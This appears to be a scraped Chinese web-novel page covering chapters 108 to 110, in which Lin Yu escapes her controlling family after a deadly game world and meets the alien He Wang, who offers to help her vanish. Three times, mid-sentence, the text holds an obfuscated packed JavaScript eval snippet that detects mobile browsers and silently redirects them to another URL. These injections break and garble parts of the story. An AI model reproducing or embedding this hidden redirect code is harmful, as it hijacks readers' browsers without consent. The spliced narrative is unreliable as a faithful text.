看看这迫不及待的安排,人干事? 她可刚刚失踪了好几个月才被领回来! 林正德作为一个有一定社会地位的中年男人,唠叨起来却和街边推销员一样嘴碎,而且在销售方面完全比不上推销员,至少人家不会捧客户而贬低商品,让人失去购买欲望。 “你要向叶师兄学习,看看人家,一毕业就回母校任教,博士的时候还去国外做了两年交换生,收到外国知名实验室的邀请,要不是国际形势不明朗,估计早就拿到那边的几百万年薪了。要知道我们学校每年招人的标准都在涨,想留下来的博士博后多了去了,你这个条件就不要想着靠自己能行,实在比人家差远了……” 林屿全当他在放屁,感觉都能闻到字里行间的酸臭,左耳朵进右耳朵出地随着老男人的卖力推荐打量了一下对面的“青年才俊”,砸了一下舌。 一毕业就任教,听起来像三十一二,可这看着也有三十七八了,脸上油油腻腻的像是没洗干净,不知道是工作忙没顾上还是单纯的不修边幅,头顶的发量倒是茂盛,有点不符合这一行的刻板印象。 察觉到她的目光,姓叶的“师兄”推了推鼻梁上沉重的镜片,露出一个不好意思的笑容。 性格倒是不令人讨厌。 林屿收回目光,重新回到百无聊赖的状态,随着时间推移,餐厅服务员终于姗姗来迟般地上了前菜,胃酸已经大水淹了龙王庙的人目光顿时亮了亮,然而林正德讨厌的长篇大论还没结束。 “你看看人家,多会选地址,这个地方离我们家也近,氛围又好,菜品也精致,一看就是费了心思,不像你做事总是敷衍了事,阴奉阳违,看看你这回作的,回来算你运气好……” 在面对学校里那群聪明的学生时,林正德可能会约束言辞,留意说出口的话会不会让人反感,但面对自己的女儿时,他懒得费这个心思,左右她不能拿他怎样,只能仰他的鼻息过活。 在他畅所欲言地训女儿时,观众通常只有老伴,日久天长也显得索然无味,如今有了新的按照情理不可能出去宣扬的“忠诚观众”,他就像得到了久违的掌声,越发地口若悬河。 林屿早听烦了他的逼逼赖赖,眼见着他的“演讲”没完没了,像是又臭又长的领导发言一样不知道拖延到什么时候,直接端过面前的热汤喝了一口。 林正德立刻激烈地叫嚷起来,当场纠住了她的小辫子,像是终于嗅到血腥味的猎人,“你干什么?我平时怎么教你的?不知礼数!怎么可以比客人先动手!放下!” 林屿一眼都懒得抬头看他。 林正德感觉自己被狠狠落了面子,脸色一厉,就要发作,这时一直插不上话的叶姓师兄终于开口缓和气氛,“林老师饿不饿,要不先吃饭?” 恰好这个时候打着领结的服务员端着牛排到来,滋滋的响声和热气腾腾的香味勾起所有人的馋虫,林正德这才意识到自己还空着肚子,于是顺坡下驴, “唉你看我,真是忘了时间,先吃饭,吃了再说。” 刀叉碰撞间,林屿不经意的目光扫过左手腕的手环,眼神一黯,心里涌起一阵抓心挠肺的不甘。在摸到石头之后,她的技能变得如此强力,却根本没办法再动用一分一毫,只能做回一切发生之前的自己,忘掉翻云覆雨的能力,忍受着无边无际的煎熬。 ——要一直这样眼睁睁地无能为力下去吗? 回程时,林正德和肖芷远远缀在后面,专程为两人留下独处的空间,林屿对叶姓师兄没有生出任何男女之间的心思,因此也没有感觉不自然。 况且,她还很好奇,自己下落不明两个月,父亲又是用什么逻辑在她失踪时物色相亲对象的,就不怕自己回不来吗? “师兄,你知道我爸叫你来干嘛吗?”林屿考虑到学术宅可能听不懂委婉的话,就这么直接问了。 叶师兄:“啊?哦,我知道啊,他希望我和你认识认识,以后多多相处,未来……”他脸色一红,接下来的话哼哧哼哧地说不出口。 林屿一听这话顿时后背发毛,浑身都不自在了,她本来还以为对方也只是礼貌应酬,当成多认识一个人,没想到他想来真的! 但是经历过副本的勇士岂能被这点困难打倒,她面上不露分毫,露出恰到好处的疑惑,“什么时候的事?这两天?啊抱歉,主要是我也不清楚自己能今天到家。” 叶师兄:“其实是几个月之前,你爸那个时候就和我提过,说女儿到了结婚的年龄了,但中途你不是出事了嘛,我本来还以为……幸好你没事,让我们能再续前缘走到一起。” 你究竟懂不懂什么是再续前缘! 林屿觉得学理科的该好好修一下文学素养了,对他的话嘈多无口,不过按照时间一推算,大概是在父亲催促她找对象的同时就开始替她物色人选,看样子是打算把她的人生大事操办到底,不打算让出一分一毫的“自由选项”给她。 这叫什么?配种?还是主人对宠物的完全控制? 林屿再次确认了自己在家中的地位,对亲情的最后那点期盼也破灭了,心脏像是血流不畅一样沉甸甸地挂在胸腔,一呼一吸忽然需要十倍的力气。 她望着夜空深深叹了一口气,明亮的月光从高高的天幕洒落在身上,她曾经离月亮那么近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360075|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就到这里吧,我家就在前面,不用再送了。”林屿在小区门禁入口站定,冲叶姓师兄一点头,“你也早点回去,注意安全。” 说完直接刷脸打开闸机。 “唉等等!我还没加你的联系方式!”叶师兄迟了一步,恰好被拦在门禁外侧,他有些迟钝地想到见面任务还没完成,手忙脚乱地调出二维码投影。 “不用了。”林屿站在几步远的位置,避开了闸机的红外感应,看见那张视感逼近四十的脸露出不明就里的表情,用了一个比较委婉的拒绝,“下次再说吧。” 她没有去看从后面跟过来的两人,头也不回地走了。步行走到自家楼下,她往头顶望了一眼,自己的卧室窗口开在向街的一侧,面向小区内部的是他们的房间,此刻黑咕隆咚地,像是一个冷冰冰的眼睛。 林屿生生止住了上楼的惯性,脚步一转,绕到了小区的另一个出口,有手环在身份认定非常方便,不需要额外的证件,她扫过人脸认证,便成功在酒店里开了个房间。 在已经看见过去的处境和即将面对的一切之后,林屿觉得自己没办法继续从前的生活了。 第二天醒来已经是十点过后了,在自己家里她很少能睡到这个时间,无论周末还是节假日。手环上的消息已经99+,林屿随意扫了一眼,分别给林正德和肖芷回了一句“人还活着,离家出走”之后,就屏蔽了他们的信息。 没办法,没有家庭群,只能单个联系。 她伸了个懒腰,数了数自己余下的存款,有点发愁,但她并不担心他们报警,因为报警之后也不会有人找她。 林屿随手把包装纸丢进路边的自动分类垃圾桶,看了一会儿机械臂的归类操作,直到冰棍快要化了,才小心翼翼地舔了几口。她一路走一路瞧,像刘姥姥进大观园一样,对日新月异的现代化城市惊奇无比,每当看到和记忆里对不上号的地方,都会驻足停留片刻。 林屿在十字路口站定。原本开在这里的服装店已经改朝换代,开疆拓土,变成了一家横跨三个门面的零食店,等身周边大大啦啦地立在门口,挂着殷勤的笑容招揽客人。店内灯光充足,装饰的色调明快又活泼。 她似乎在犹豫要不要进去。 一街之隔,对面的榕树下一男一女面对面站着,似乎在谈情说爱,他们的目光却不约而同看向对面街角的人影。 男人鼻梁上的眼镜清晰地放大了目标的细节,他观察片刻,说道:“飞鸟坐标(2104,6427),举止无异常。” 女人耳坠上光华一闪,她有意无意地伸手拂过鬓发,低语道:“离家出走?好,我们会继续观察。” 林屿进零食店试吃了一圈,什么也没买,溜溜达达地出来了,像极了每一个可恶的看起来消费欲满满兜里却没几个子的穷鬼年轻人。背对着身后的街道,她忍不住露出一点无语的表情。 看样子手环确实不能监控和监听,毕竟这项写进了合约,不过合约里可没有写不能用其他方式监视她。 所以,如此费事地派两个人跟踪她,究竟是为了防什么呢? 109.第一百零九章 林屿连去哪里都不知道,只能漫无目的地晃悠,一不小心晃悠到了一片公园绿地。她回头看了看来路,视线里没有那对跟踪者,然而第二视野清清楚楚地出现了两人的光点。 他们坐在被灌木丛挡住的长椅上,卡在她的视野死角里。 肉眼看,还真发现不了。 她也是意外发现手环监测不了这个能力的,昨晚回家的时候总感觉爸妈的视线扎后背上,又不想刻意回头看他们在哪,无意间开了第二视野,冷汗都被吓出来了,还以为又要被电一回,没想到等了半天那个靴子都没落地。 手环根本没有反应,不知道是不是他们百密一疏没考虑到这种情况。 就在那个时候,她知道有两个光团一直跟着自己。 林屿没有理会他们,刷身份进了公园,欣赏了一会儿大自然的美好,最后被毒辣的阳光逼进凉亭休息,终于想到打开手环浏览未读信息。 何芝的群还是叫种植者联盟,大家都在零星地刷一点消息,韩舒上传了一个10G的笔记文件,看着就让人没有打开的欲望,还是孟锦竹的金毛狗发财可爱,林屿一口气刷完了她发的视频,顺手通过了所有的单独好友申请。 副本虽然惊险,所幸已经过去,她还是很认识了几个以前都遇不到的人,只是不知道以后还能不能再见。 一个久违的对话框跳出来。 “我听说你回来了,现在还好吗?要不我去你家看你?” 陆晓——林屿进游戏之前唯一的朋友,在被白蛛捕获的当天,两人还约着一起去了博物馆,她就是在那里被蛛丝黏上身的。当时那团白丝展品还被当成新型材料,完全没人想到它还有看不见的部分连接上虚拟世界,是蜗居山穴里的白蛛放在现实里的触角,而网络上的触角则是一些不起眼的游戏,当两个触角相遇,便织成了一张完整的网,将人捕捞过去,变成豢养的猎物。 这些事原本也只是过去了两个月,但是在看到这个名字的一瞬间,她有种恍如隔世的感觉。 “我不在家,下午有时间,约在中心商城吧,还可以顺便去吃饭。”林屿飞快地在虚拟键盘上打字回复。 “就知道你是个吃货,好,那就五点,还是以前老地方!” 老地方是在哪里来着?林屿关掉对话框,呆了一会儿才反应过来,老地方在银月商城一楼A入口,她们最喜欢的那家奶茶店边上。她晃了晃头,感觉自己还没从那一个多月经历中缓过来,副本和白城的一切历历在目,生活了二十多年的现实反而隔着云端天涯,这不是个好迹象。 该不会真的留下什么创伤了吧?早知道就配合一点,好好和黄医生聊聊天,利用一下基地提供的人力资源。自己被那群人禁止这个禁止那个的,好歹收点本钱回来。 唉,就是后悔。 林屿还在长吁短叹,一个放大的卡通俊脸突然一下子怼到面前,把沉浸在自己世界里的人直接吓回了神,她瞬间打开第二视野,面前却空无一人。 闹鬼???不,不对,是自己的手指头依循身体记忆自行帮她打开了常玩的乙游。 林屿:“…………” 科技发展有时候也挺讨厌的,放在以前换手机APP还得下新的,可不能像这样完美复刻,原先的数据自动下载不说,甚至连图标放哪都不变。 乙游男主容光焕发,排成长列的卡牌争先恐后想被翻牌子,每一张都极尽姿态,灯光、衣着、氛围、眼神,无一不暧昧,过去她不吝于投下喜爱,嗑点心知肚明的电子糖精愉悦自己,可这一瞬间,她只觉得索然无味。 大概心中有什么已经不一样了。 她就是下载新乙游被拉进副本的。虽然没经历几个就出来了,但每个副本的构架中都绕不过男女之间的那点关系,像是专门为了反讽一般,每一对关系都饱含恶意:被男友骗婚骗命的小丽,反目相残的登山情侣,自导自演自以为深情的董事长,吃女人不吐骨头的上世纪婚姻。恶意滋生怨恨,怨恨使人盲目,盲目的灵魂轻易受到操控,成为副本里只剩本能,忘记自己从何而来的NPC。 这个大型真人剧本杀作为恋爱脑戒断项目已经成功了。 可惜策划人白蛛没法领奖,它们自己还在东躲西藏地躲避人类呢。这些并没有特别智慧的东西,不过为了那么一点吃食,竟然阴差阳错地乘上了科技的顺风车,靠变异出的能力豆萁煮豆地圈养了一群“世界上最聪明”的灵长动物。 想来简直不可思议,但基地方没必要骗人。 他们拿到言教授的研究之后,大约是有了头绪,频繁地把林屿叫过去问话,毕竟只有她成功穿越“缝隙”回到现实,也是第一个直面白蛛的人——她的经历可以给研究员提供重要的参考。 因为这个缘故,她知道的比其他玩家多一点,甚至以少见多地推测出了整件事的来龙去脉。 二十五年前,来自另一个文明的贺望与他的飞船一同坠落到了地球,飞船损毁,里面的能源石四分五裂,一些流落到了生态圈中,也是从那个时候开始,世界上出现了变异生物。 能源石就是副本里的“石头”,它可能是有什么辐射或者副作用,贺望无法随身携带,但他没找对存放的地方,被白蛛据为己有,甚至做成了巨大漏斗形蛛网的根基,以此构建出白城和副本世界。 它们或许只是依靠本能在运用蛛丝接入虚拟以及转换虚实的能力,只是为了替族群多捞一点适口的猎物,然而人类在发展AI之后弄出来的,相当于动物读心法器的翻译器实在是善解蛛意,居然主动替白蛛牧起人来,还会仔细规划积分不让人太闲或者吃太饱,以防他们哗变或是整活折腾,实在是数典忘祖——因为这玩意绝对是吃太饱的人发明出来的。 不过现实中的人也不全是吃干饭的,他们一直在想方设法追查持续三年的失踪案,终于从不明乙游顺藤摸瓜找到被蛛丝污染的网络,下手封禁之后,副本里便再无新人,林屿那一批次的玩家成了最后的受害者。 整个过程是如此简单、清晰,又是如此离谱,以至于身在其中的玩家一叶障目,不知天地即是牧场,而自己是栅栏里待宰的肉。 而这一切的离谱的最终起因只是白蛛离谱的饮食偏好——是的,饮食偏好,白蛛脆弱难养的原因,言教授苦思不解的真相,这种变异生物总是活活把自己饿死的谜题,终于在几千名玩家亲身参与的极致试验之下被解开了——它们不吃“有情绪”的尸体。 前有以情绪为食的贺望,后有不吃带情绪尸体的白蛛,明白真相之后林屿比任何人都接受良好,毕竟她自己的技能也带点“情绪”。看来在某个未知的世界,情绪也是一种不得了的能量。 话说回来,这也是白蛛没有直接屠杀玩家的最根本原因,它们吃不了,必须有一道处理程序——小黑屋。长时间关禁闭会导致人精神失常不假,但人在里面做的最多的事情只有一种:睡觉。 睡梦中的人比醒着的人平静许多,白蛛也就是趁此机会寻觅合心意的食物。它们体积不大,这么多只,每天也吃不到一个人的量,而每天却有那么多玩家被关进小黑屋,就算有人做梦也在激动,撇开特例找个不带情绪的食物实在是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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林屿安静地看着他们,游戏中积淀的沉疴仿佛一扫而空,心中仿佛响起轻快的乐声,却并没有生出任何向往和羡慕,连自己都觉得奇怪。 幸福、松弛、连接,这些明明是她从小到大就匮乏的养分,好不容易长出了根系,为什么不想去追求缺失的营养呢? 皮肤上刮起一阵微风,座椅微微一沉,一股极具存在感的气息侵入感官,让她的心脏猛地跳动两下,明明鼻端没有嗅到任何东西,大脑却被不知名的信息激活,昏昏欲睡一扫而空。 “贺望……” 林屿侧身,看着旁边一身休闲装戴着黑色口罩的男人,已经把他的名字脱口而出。男人拉下帽檐,弯起眼睛冲她一笑,睫毛下碎光闪烁,这一瞬间的情态比所有乙游男主加起来都更生动,更惑人。 “有人在监视我。”林屿不动声色地比对了一下他的坐位,发现这人不知有意还是无意,正好背对亭柱和一片茂密的黄杨木,遮挡物比自己背后浓密得多,这才放心下来,肉眼可见地松了一口气。 看来他知道彼此的处境,不会失去基本的警惕。但是,他在自己这个重点关注对象面前突然现身,本身就是冒险。 有那么一会儿,贺望一动不动地望过来,既没有说他的来意,也没有提起在游戏里发生的事。两人就在蓝天、绿荫与鸟鸣下肩并肩地坐着,仿佛一对彼此陌生的游客。 日影西移,路对面的冰车出其不意地出现,又静悄悄地开走,大概是找到了人更多的地方。 林屿忽然想到,不管他来做什么,这回之后,或许就再也没有见面的机会了。 “谢谢你。”贺望突然出声打破长久的沉默,“没有把我交出去。” 110.第一百一十章 “我没必要自找麻烦,就当是报答小时候你救我那件事。”林屿倒是没否认,自己隐瞒了什么自己心知肚明,在基地方问起“那个漂亮的NPC”和“你在缝隙里看到了什么”的时候,不知出于什么心理,她没有说出水下飞船,也没有对贺望的身份疑点多透露半个字,只说他大概是最早一批觉醒自我意识的NPC。 现在想来,隐瞒并不能带来什么显而易见的好处,在那种情况下,说谎反而会承受更多的心理压力,一旦留下破绽,还会影响到她自己的未来,但她就是这样做了。 或许并不是为了维护他,而是维护他拥有的,他带来的,以及他象征的某种东西,某种自己从来没有过的东西。 他背井离乡,失去族群,孤独一人,在这颗科技发达、体制完善的星球上终日躲藏流浪,却也不必困缚于任何义务,不必屈从任何一种道德。充裕的选择对只能活在阴影中的他展开宽广的怀抱,他可以自己决定什么是好,什么是坏,追求什么,讨厌什么,过什么样的生活,他不必被任何集体与他人裹挟。 她愿意保留他的这些自由,只要他不与人类为敌。 “有什么我可以为你做的吗?”贺望轻声问道。 说到这个,林屿瞬间来了精神,她还有些无人解答的疑问,错过这次机会,可能永远不会知晓真相了,好奇心就会一直指着拼图的缺角问为什么,问一辈子为什么,那该是多么恐怖的一件事! “有的!”林屿连忙接话,“你知道白蛛的进食偏好吗?除了只吃‘没有情绪残余的尸体’一条,还有没有其他情况?” “当然有,看来你注意到了。”贺望直起身子,手臂随意往靠背上一搭,露出了不设防的随意姿态。 林屿往旁边瞄了一眼,条件反射般地想着如果此时用匕首偷袭,大概率正中靶心。不过……他胸口很硬,上次直接把竹叶刀折断了,也不知是什么构造。 贺望解释道:“其实它们不是只吃‘没有情绪残余的尸体’,而是大部分情况下只有这类猎物符合它们的口味。” “可是……按照言教授的观察,白蛛宁愿饿死也不会吃死前激烈挣扎过的鸟类和小型哺乳动物,如果仅仅是挑剔口味,不会把自己饿到不顾生存的地步。” “是的,不会,他们确实吃‘没有情绪残余’的猎物不假,但是也有例外,只不过例外比‘没有情绪残余’更难得,这一条是充分条件,不是必要条件。” 林屿听到两个似曾相识却总也回忆不起意思的名词连忙喊停,“等等等等,你能不能详细解释一下?” 贺望:“解释什么?” 她刚要说解释充分条件和必要条件是什么意思,话到口边微妙一顿,自己这个高学历人类在一个异乡人面前问两个基本的逻辑词是什么意思?简直是给全人类丢脸!不行,不能问这个。 “就……举个例子,直白一些。”林屿悬崖勒马地改口道。 “好。”贺望非常好说话地答应下来,略作思考后开口道,“这么说吧,白蛛愿意吃的食物有两类,一类是‘没有情绪残余’的动物,另一类则是受到石头影响而变异的动物。‘有情绪残余’会让食物充满毒素,口味变得讨厌,但是如果其中蕴含的能量超乎想象,它们也能忍耐负面作用下口,毕竟,所有接触过石头的生物,除了生存一条法则之外,还需要不断强大自身。” “就像技能者总是追求冷却时间缩短,或是开发新用法等‘升级’一样?”林屿问道,“壮大自身,然后呢?” “是的,和人类技能者追求升级一样,动物的升级更残酷一些,它们无法抽象思考,无法理解可能性,无法按照想象去开发和尝试,所以,能做的只有一件事。”贺望缓缓说道,“壮大自身——然后厮杀吞噬。” 林屿的心跳仿佛落空了几下,头皮不自觉间绷紧了,她一瞬间想通了很多事——吞噬,技能者,叱咤风云后失踪的玩家公会前任会长,不敢再进小黑屋的唐瑜妡,持续了三年的游戏里几乎没有超过两年的玩家,一年以上的都没看见几个…… 一片混乱的了悟中,她灵光乍破般想到一件事,“优先级!两种要求是不同的两条线,白蛛进食的优先级是什么?会先吃没情绪的,还是先吃有技能的?” “你想到了?”贺望的目光中带了点戏谑,“我正准备告诉你这点,在技能开发程度比较低的时候,摄入情绪的毒素得不偿失,优先级是‘没情绪’,但如果一个人已经接触过好几次石头,或是把单用途的技能开发出好几个不同的方向,他就会越来越可口,到了某个临界点之后,无论他怀着如何激烈的抗拒,白蛛都会将他分食。” 林屿出了一身冷汗,“也就是说,后期我只要进小黑屋一次,就会变成它们的盘中餐?” “Bingo,完全正确!”他笑着说道。 林屿侧头瞄了他一下,觉得异类果然没有同情心,但自己又不和他谈恋爱,也不觉得他是朋友,有没有同情心碍不着事,也就并不生气。 “所以我向你提出了交易,希望带你离开那个地方,只不过你拒绝了我。”贺望旧事重提,语气里满是遗憾。 林屿似笑非笑地看过去,“但在那之前,你还想扎死我,让我滚到小黑屋里去,究竟是想要石头还是为了我好我心里清楚得很。” 贺望辩解,“在那之前,你并不满足优先级,而且通常情况下没有玩家能通关那个副本。” “所以我是不通常情况。” 林屿不要脸地说了一句,没想到贺望竟然重复了一遍,“是的,所以你是不通常的情况,我不该自作主张的。” 这是一句意料之外的话,林屿张了张嘴,直愣愣地看着他的表情,像是想找一点欺骗的痕迹,但是失败了。 过了一会儿,她不动声色地转移了话题,“其实我还有一个问题,在我进游戏之前,小黑屋是不是崩过?据说白塔还裂开了,言教授就是那个时候牺牲的,你知道当时发生了什么吗?” 她本以为贺望会如之前一样迅速给出答案,但这一回,他沉默了很久。 “一定要知道吗?”贺望轻声问道。 林屿没有直接回答他。 贺望深吸了一口气,没有沉默太久。 “你已经知道了吧,‘石头’原本属于我,但在我来到这里的时候,它被撞碎了,碎得七零八落,即使我努力收集过,也没能找齐一半,有很多顺着水流不知被带去了哪里,也有很多进了鸟类和其他动物的肚子,我不大可能把每个动物剖开来看,所以只能把找到的部分藏起来——我不能随身带着,因为人与它接触久了,也是会畸变的。” “本来我藏得好好的,没想到出了白蛛这个玩意,你不知道,在它们变异之前,体型非常小,大概不到一毫米,轻而易举地就爬进山缝里接触到了石头,还用特殊的能力把石头给偷走了——每年我都会回去检查一次,那回怎么找也找不到,就知道大事不妙。” “花了很多功夫,我才成功混进白城,不过我比玩家好一点,能看到它们是怎么控制NPC的,也能看到玩家进本后身体上那层蛛网,所以我可以避开这些,单纯地混在游戏里——因为一些碎片就被它们放在了虚拟空间。但在进入游戏之后,我不知道要怎么离开,直到无意间听见了言教授的讨论。” “无意间?”林屿质疑,言教授会在大街上讨论怎么机密? 贺望:“好吧,我会筛选一部分有实力想离开的玩家,跟进一下他们的进度。” “就是偷听。”林屿一针见血。 “第一次从小黑屋离开,他说小黑屋是弱点,我知道他的技能——弱点透视,既然他这样说,那个地方一定百分百有问题,而小黑屋是我唯一没有去过的地方。所以,在我准备好之后,就把自己弄了进去。” “我被困在一层蛛网里,身体被注入了麻痹的毒素——谢天谢地白蛛没有变异出什么厉害的毒液,不然今天你就看不到我了。话说回来,可能因为我大概还是和你们不一样,对你们起效七天的毒液量只麻醉了我一小会儿,等我能动之后,立刻和一只蜘蛛交换了位置,就这样,它被困在网中,而我自由了。” 林屿想起自己看到的那张三五米高度的巨网,“也不是完全自由吧,你当时在哪里?周围没有蜘蛛吗?等等,你该不会是为了逃走和它们搏斗弄坏了网,所以白塔倒了一半,里面的人也没出来?” 说到最后,她忍不住提高了声音。 贺望收敛了所有的表情,缓缓点了点头,“就是你想的这样,我只有弄坏蛛网才能逃走,却没想到白蛛会杀死在场的所有玩家——小黑屋里的玩家。” 而他逃脱的时候,言教授恰好也在小黑屋。 林屿和言教授远不能算得上熟悉,在学校里只远远看见过几次,游戏中更是只闻其名,实际只有地下聚会的一面之缘。而他本人更是明明白白地确认死亡,身体死得透透的,灵魂也已经消散,而她更是被输入过他灵魂的死亡过程的记忆。 但听说过名字,看见过人,甚至与他有了些微的交集,这样的存在就不仅仅是一个符号,一个标志,借由寥寥几面的印象,他也成为一个活生生的人。 他帮种植者联盟找到了出路,是最了解这个游戏的人,却死得如此轻易。 一种说不清道不明的压抑感先于悲伤占满心头,林屿不自觉地看了看自己的手掌。 像那样有声望有筹谋的人尚且如此,何况不识人心、不明世事的她呢?她真的能丝毫不用技能,仅靠原有的一切获得崭新的未来吗? 可她连未来是什么样的都想象不出来。 “但是我没找齐白蛛偷走的石头,所以又回去了。”贺望见她抬头,便继续补充,“这回我知道了白城和副本的构造,所以留了手段,可以直接离开,不必再走小黑屋那条路了。不过,这回我又找到了一个出口——缝隙。白蛛利用现实中的游戏东拼西凑,搞出来的副本在连接上有问题,如果你运气好,甚至可以直接从缝隙走到最近那个镇上一户人家猪栏的粪坑里。” 林屿:“……谢谢,我宁愿运气不好。” 贺望苦口婆心,“那边没有白蛛,你至少是安全的。” 林屿:“大可不必。” “好吧。”贺望妥协,“你还有什么要问的吗?” “当然!”林屿早就忘了这已经是“最后一个问题”,开始在陈年困惑的记忆杂物堆里翻箱倒柜。 贺望维持着微笑,注视着兴致勃勃的人,猜测她的下一个问题是什么。他在转移虚拟空间的飞船时,从能源被激活的痕迹中推断出有人来过,而知道“缝隙”,拥有石头,又恰好符合时间的人只有她。 她知道了他最深的秘密,知道了他是什么东西,却没有对别人提及一分一毫,那么大概没有什么事需要隐瞒了。 林屿忽然将食指点向他的心口。 贺望心跳忽然快了几回合,脊背挺直在原位,身体忍住了没有后仰,任由她指尖探来,触碰到衣料。他的感官无限放大,指腹下的脉搏和乱了节奏的心跳让耳朵里充满嘈杂的乐声。 在脱离你死我活,互相坑害,彼此利用的关系之后,他忽然不知道用什么态度对待眼前这个尤为特别的人。 “在我的第二个副本,就是说登山的那个时候,我们不是还处于误会中吗?那个时候我用竹叶刀扎了你,没扎进去……所以为什么你胸口这么硬?” 林屿用手戳了戳上回扎刀子的地方,感觉并没有什么特别之处,骨头硌人,但上面盖着的皮肤很有弹性,摸着不像是防砍的样子。 她倒是没想那么多,只是单纯觉得对异乡人没必要恪守人类的礼仪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398919|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以用一点科研的态度,满足好奇心更重要。 可怜的贺望只能忍受对面上下其手,浑身肉眼可见变得僵硬,不知为何,一股热气徘徊不去,向上蒸腾。 他的耳垂变红了,说出来的话也有些磕磕绊绊。 “等、先别……其实、不是我的胸口和你们不一样,是器官。” “器官?”林屿停下实验。 “我有一个隐藏的器官——相当于你们口中的翅膀,它可以存在,也可以不存在,总之,想要用的时候就有。” 林屿:“这和胸口硬有什么关系?” “翅膀可以变换形态,它本身的硬度是可以变化的,我当时把翅膀护在前面,这才捡回一条命,不然……”贺望故意留了一个停顿,换成凄凄惨惨的语气,“将是一桩怎样的惨剧啊——” 林屿:“……”这家伙戏还挺足。 不知不觉间,太阳已经不在天顶上了,阳光斜照,路上的游人肉眼可见地多了不少,三两成群地赏景闲逛。 贺望坐下之后,林屿每隔一段时间就会确认一遍监视者的位置,或许是见她不动,那两人也没换位,之后她检视得就没有那么频繁了。 看到天色,她才惊觉两人竟然聊了那么久,一看时间已经四点过了,于是再次开启了视野扫了一眼,瞬间惊出一身冷汗。 “怎么了?”贺望见她脸色不对,关切道。 “监视我的人少了一个,会不会发现你……” “不会。”贺望忽然从她的话里发现了一些令人安心的东西,露出一个不带任何嘲讽、敷衍,没有一点虚假的笑意,“我一直看着他们呢,另一个在东南方向,那里有个公厕。” “那就好。”林屿舒了一口气,忽然听对方问道:“你以后有什么打算?” “没什么打算,随便地活,受不了管教就跑,实在不行……”林屿摸了摸手环,没有继续说话。 贺望盯了一会儿她手腕上的金属,冷不丁地问道:“你想摆脱它吗?” 林屿眼睛一亮,“你有办法?” “我这次是来和你告别的,但和你聊的这会儿,我想到了一个新的可能。”他说,“要不要和我一起走?” 林屿并非没有考虑过这个可能,在收到邀请的一瞬间,已经十分意动。毕竟,留下来之后,她将面对无比艰难的选择,处于独属于她的困境之中——她必须接受家人对她精神需要的完全漠视,以及父亲利用身份和影响力对她的操控打压,她需要接受他们永远将她当成所有物而不是人的事实。 她需要消磨自己的精神,才能继续从前的生活。 但是,流浪对于温室中的人类来说更是一件遥不可及的事,除了野性未退的猫,任何已被驯化的宠物到了野外都只有死路一条。 贺望轻声说道:“我在你们人群之中藏了很多年了,从没有人发现过我的异常,遇到危险用技能就可以摆脱。你也有技能,还是如此强力的技能,足够帮你隐姓埋名,应对绝大部分危险情况,就算飞机失事也不会有问题,相信我,你的能力比你的想象更加无限。” “我不能现在决定。”林屿内心的天平不断摇摆,“你还没有说,要怎么去掉这个手环?” “你还不明白吗?”贺望点了点她,又点了点手环,“只要你想,随时都可以脱下它。” “可是这个设计就脱不下来……”她说了半句话之后,一下子明白了言外之意——她的技能! 她的技能随时都可以去掉这个东西,根本不需要任何人的帮忙,也可以完全无视基地的规则,所以他们无法信任自己,为了预防最坏的情况,他们派出了监视者。 “匹夫无罪,怀璧其罪。” 这家伙一定是深入了解过人类的文化,各种典故信手拈来。 林屿接过他递来的一张纸片,摩挲了一下,“传信纸?” “你上次给我的,正好用上。”他说,“不急一时半会儿,你有三天考虑的时间,如果同意就打个钩,我来找你,如果不同意……” 林屿:“我就打个叉。” 贺望:“就把它烧了吧,我也会烧掉。” 林屿:“……好。” 她默默地看着这张碎纸,不知道接下来说什么。 贺望往远处望了一眼,说道:“我准备走了,你的监视者过来会看到我的。” 林屿:“好。” “你还有什么要问我的吗?” “没有了。” 贺望站起来,面对着她,声音落在只有两人的凉亭之中,有些空空荡荡,“你忘了问我的名字。” “所以,你的名字,不是贺望?”林屿一词一顿,震惊无比。 漂亮的男人表情几乎有些无奈,“不是,你忘了吗,这只是我冒名顶替的副本NPC的名字。” 那我叫了这么久你也不纠正! “那……”林屿清了清嗓子,端正地坐好,目光落在他的脸上,做出准备聆听的姿势,“我可以知道你的名字吗?” “%*&@+~#。” 林屿:“……” 她只辨认出一个“汪”的发音,其它音节中文里没有,甚至常听到的其他语言里也没有,完全无法无法复述,唯一的记忆点和狗叫相似,而对面的人郑重得像是在国旗下宣誓,仿佛交出的不是名字而是身家性命,场面一度变得十分尴尬。 “我知道,你的名字,嗯……很特别……我该怎么称呼你……你可以给自己起一个昵称什么的……” “昵称吗?”贺望笑了,他指着旁边一丛开着明黄色花朵的植物说道,“叫这个好了,我喜欢它的颜色。” 林屿:“我喜欢它的形状。” 风中抖动的花朵如同一只飞鹤,振翅高空,无拘无束。 “——鹤望兰。”